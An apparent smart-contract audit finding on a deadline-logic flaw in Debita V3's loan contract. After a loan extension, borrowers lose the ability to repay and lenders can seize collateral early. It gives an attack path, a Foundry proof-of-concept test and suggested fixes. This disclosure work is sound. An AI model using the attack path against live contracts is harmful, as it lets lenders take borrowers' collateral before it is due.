Attractive Teal Raven

High

# After calling `extendLoan` if Borrower miss the earliest deadline, they can not pay any debt and lender can claim collateral early

### Summary

The `nextDeadline` function in the `DebitaV3Loan.sol` contract has logic flaws that lead to two significant issues:

1. After calling `extendLoan`, Borrowers cannot pay any debt if they miss earliest deadline, this would resulting default for all loans.
2. Lenders can claim collateral before the deadline of specific extended loans, potentially claiming collateral early.

### Root Cause

The root cause of both issues is the logic in the `nextDeadline` after `extendLoan` is called, which always return the earliest unpaid loan's deadline:

[DebitaV3Loan.sol#L743-L764](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L743-L764)

```js
    function nextDeadline() public view returns (uint) {
        uint _nextDeadline;
        LoanData memory m_loan = loanData;
        if (m_loan.extended) {
            for (uint i; i < m_loan._acceptedOffers.length; i++) {
                if (
                    _nextDeadline == 0 &&
                    m_loan._acceptedOffers[i].paid == false
                ) {
@>                  _nextDeadline = m_loan._acceptedOffers[i].maxDeadline;
                } else if (
@>                  m_loan._acceptedOffers[i].paid == false &&
@>                  _nextDeadline > m_loan._acceptedOffers[i].maxDeadline
                ) {
@>                  _nextDeadline = m_loan._acceptedOffers[i].maxDeadline;
                }
            }
        } else {
            _nextDeadline = m_loan.startedAt + m_loan.initialDuration;
        }
        return _nextDeadline;
    }
```

This is problematic because if the Borrower missed the earliest deadline, there are no way in the logic contract to make the offer paid status to true except from the `payDebt` function.
Regardless of the indexes provided as parameter when calling the function, the require line would always be false, preventing for the state of paid changed.
[DebitaV3Loan.sol#L186-L205](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L186-L205)

```js
    function payDebt(uint[] memory indexes) public nonReentrant {
        IOwnerships ownershipContract = IOwnerships(s_OwnershipContract);

        require(
            ownershipContract.ownerOf(loanData.borrowerID) == msg.sender,
            "Not borrower"
        );
        // check next deadline
@>      require(
@>          nextDeadline() >= block.timestamp,
@>          "Deadline passed to pay Debt"
        );

        for (uint i; i < indexes.length; i++) {
            uint index = indexes[i];
            // get offer data on memory
            infoOfOffers memory offer = loanData._acceptedOffers[index];

            // change the offer to paid on storage
@>          loanData._acceptedOffers[index].paid = true;
```

If we take a look at `claimCollateralAsLender` the behavior of `nextDeadline` causing early collateral claim:

[DebitaV3Loan.sol#L340-L355](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L340-L355)

```js
    function claimCollateralAsLender(uint index) external nonReentrant {
        LoanData memory m_loan = loanData;
        infoOfOffers memory offer = m_loan._acceptedOffers[index];
        IOwnerships ownershipContract = IOwnerships(s_OwnershipContract);
        require(
            ownershipContract.ownerOf(offer.lenderID) == msg.sender,
            "Not lender"
        );
        // burn ownership
        ownershipContract.burn(offer.lenderID);
@>      uint _nextDeadline = nextDeadline();

        require(offer.paid == false, "Already paid");
        require(
@>          _nextDeadline < block.timestamp && _nextDeadline != 0,
            "Deadline not passed"
```

as stated before, the value of `_nextDeadline` would be the earliest deadline of all the loan inside the contracts.
after calling `extendLoan`, the require value would be true if the borrower missing earliest deadline, making the lender of later max deadline can claim borrower collateral early.

### Internal pre-conditions

1. example `timestamp = 0`
2. Borrower got matching with offers `index = 0, 1, 2` with condition of:
   - LoanData for the loan is `startedAt = 0` and `initialDuration = 10 days`
   - `maxDeadline` for each offer index respectively `initialDuration` increased by `10, 20, 30`

### External pre-conditions

_No response_

### Attack Path

Case 1, Borrower cant pay debt:

1. `timestamp = 1 days` (10% of initialDuration to be able to extend the loan)
2. Borrower call `extendLoan`, now `nextDeadline` would return earliest `maxDeadline` which is `initialDuration + 10`
3. `timestamp = initialDuration + 11`
4. Borrower missing deadline at timestamp `initialDuration + 10` / offer index 0
5. Borrower call `PayDebt` with index [1,2] which the maxDeadline is at `initialDuration + 20, initialDuration + 30`
6. call fails because `nextDeadline() >= block.timestamp` would return `initialDuration + 10 >= initialDuration + 11` which is false
7. Borrower cant pay any debt

Case 2, Borrower collateral is claimed by Lender before the deadline expires:

1. `timestamp = 1 days` (10% of initialDuration to be able to extend the loan)
2. Borrower call `extendLoan`, now `nextDeadline` would return earliest `maxDeadline` which is `initialDuration + 10`
3. `timestamp = initialDuration + 11`
4. Borrower missing deadline at timestamp `initialDuration + 10` / offer index 0
5. Lender (owner of offer index 2) call `claimCollateralAsLender` with index 2
6. Call succeed because the require `_nextDeadline < block.timestamp && _nextDeadline != 0` would return `initialDuration + 10 < initialDuration + 11 && initialDuration + 10 !=0` which is true
7. Lender claimed Borrower collateral that tied with offer index 2 `timestamp = initialDuration + 11` even though the deadline for offer index 2 is `initialDuration + 30`

### Impact

1. Borrower will always face default for all loan if after `extendLoan` they missed the earliest deadline
2. Lenders (owner of offer) also can claim any of the Borrower collateral if after `extendLoan` the Borrower missed the earliest deadline

### PoC

add the following code to `Debita-V3-Contracts/test/local/Loan/TwoLendersERC20Loan.t.sol`:

```js
    function test_PoC_extendLoanAndMissFirstDeadlineWouldPreventBorrowerToPayAnyDebt() public {
        // set timestamp
        vm.warp(0);
        address borrower_1 = makeAddr("borrower_1");
        address lender_1 = makeAddr("lender_1");
        address lender_2 = makeAddr("lender_2");

        deal(AERO, lender_1, 1000e18, false);
        deal(AERO, lender_2, 1000e18, false);
        deal(AERO, borrower_1, 1000e18, false);
        deal(USDC, borrower_1, 1000e18, false);

        // Borrower 1 creating borrow order
        vm.startPrank(borrower_1);

        IERC20(AERO).approve(address(DBOFactoryContract), 100e18);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint256[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint256[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData.getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData.getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData.getDynamicAddressArray(1);

        ratio[0] = 5e17;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = AERO;
        acceptedCollaterals[0] = USDC;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        // initial loan duration
        uint256 loan_duration = 10 days;

        USDCContract.approve(address(DBOFactoryContract), 15e18);
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            2200,
            loan_duration,
            acceptedPrinciples,
            USDC,
            false,
            0,
            oraclesPrinciples,
            ratio,
            address(0x0),
            15e18
        );
        vm.stopPrank();

        // lender 1 creating lend order
        vm.startPrank(lender_1);
        AEROContract.approve(address(DLOFactoryContract), 10e18);
        ratio[0] = 5e17;

        // for first lend order, we set min - max duration to 4 - 10
        address lendOrderAddress_0 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            2000,
            loan_duration + 10, // max duration
            loan_duration, // min duration
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );

        // for second lend order, we set min - max duration to 4 - 20
        address lendOrderAddress_1 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            2000,
            loan_duration + 20, // max duration
            loan_duration, // min duration
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        // lender 2 creating lend order
        vm.startPrank(lender_2);
        AEROContract.approve(address(DLOFactoryContract), 5e18);

        // for third lend order, we set min - max duration to 4 - 30
        address lendOrderAddress_2 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            2000,
            loan_duration + 30, // max duration
            loan_duration, // min duration
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        // match orders
        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(3);
        uint256[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(3);
        uint256[] memory porcentageOfRatioPerLendOrder = allDynamicData.getDynamicUintArray(3);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint256[] memory indexForPrinciple_BorrowOrder = allDynamicData.getDynamicUintArray(3);
        uint256[] memory indexForCollateral_LendOrder = allDynamicData.getDynamicUintArray(3);
        uint256[] memory indexPrinciple_LendOrder = allDynamicData.getDynamicUintArray(3);

        lendOrders[0] = lendOrderAddress_0;
        lendAmountPerOrder[0] = 25e17;
        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = AERO;

        lendOrders[1] = lendOrderAddress_1;
        lendAmountPerOrder[1] = 20e17;
        porcentageOfRatioPerLendOrder[1] = 10000;

        lendOrders[2] = lendOrderAddress_2;
        lendAmountPerOrder[2] = 20e17;
        porcentageOfRatioPerLendOrder[2] = 10000;

        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(borrowOrderAddress),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        DebitaV3LoanContract = DebitaV3Loan(loan);

        // set timestamp to 10% off initial duration to call extendLoan
        uint256 tenPercentOfLoan_duration = (loan_duration * 1000) / 10000;
        vm.warp(tenPercentOfLoan_duration + 1000); // add 1000 just to make sure we are past the 10% of initial duration

        vm.startPrank(borrower_1);
        IERC20(AERO).approve(address(DebitaV3LoanContract), 100e18);
        DebitaV3LoanContract.extendLoan();
        // now each offer has deadline extended to max duration

        // set timestamp to loan_duration + 11 so borrower loses the first deadline at loan_duration + 10
        vm.warp(loan_duration + 11);

        // CASE 1: borrower tries to pay the debt of index 1 and 2 whose deadline at loan_duration + 20 and + 30 respectively
        uint256[] memory indexes = allDynamicData.getDynamicUintArray(2);
        indexes[0] = 1;
        indexes[1] = 2;
        vm.expectRevert();
        DebitaV3LoanContract.payDebt(indexes);

        // CASE 2: lender now tries to claim collateral of index 2, whose deadline at loan_duration + 30, at loan_duration + 11
        vm.startPrank(lender_2);
        uint256 balanceBeforeClaimCollateralLender_2 = IERC20(USDC).balanceOf(lender_2);
        DebitaV3LoanContract.claimCollateralAsLender(2);
        uint256 balanceAfterClaimCollateralLender_2 = IERC20(USDC).balanceOf(lender_2);
        // if claim successfull, lender_2 USDC balance should increase
        assert(balanceBeforeClaimCollateralLender_2 < balanceAfterClaimCollateralLender_2);
    }
```

then run the following command `forge test --mt test_PoC_extendLoanAndMissFirstDeadlineWouldPreventBorrowerToPayAnyDebt`
the test would PASS

### Mitigation

1. change the logic of `nextDeadline` to handle if the earliest max deadline has already passed without breaking how the collateral claim is done (recommended)
2. if logic of `nextDeadline` is preserved, make a way for the state `offer.paid` to change to `true` for the missed deadline by claiming the collateral to the lender when borrower calls `payDebt` 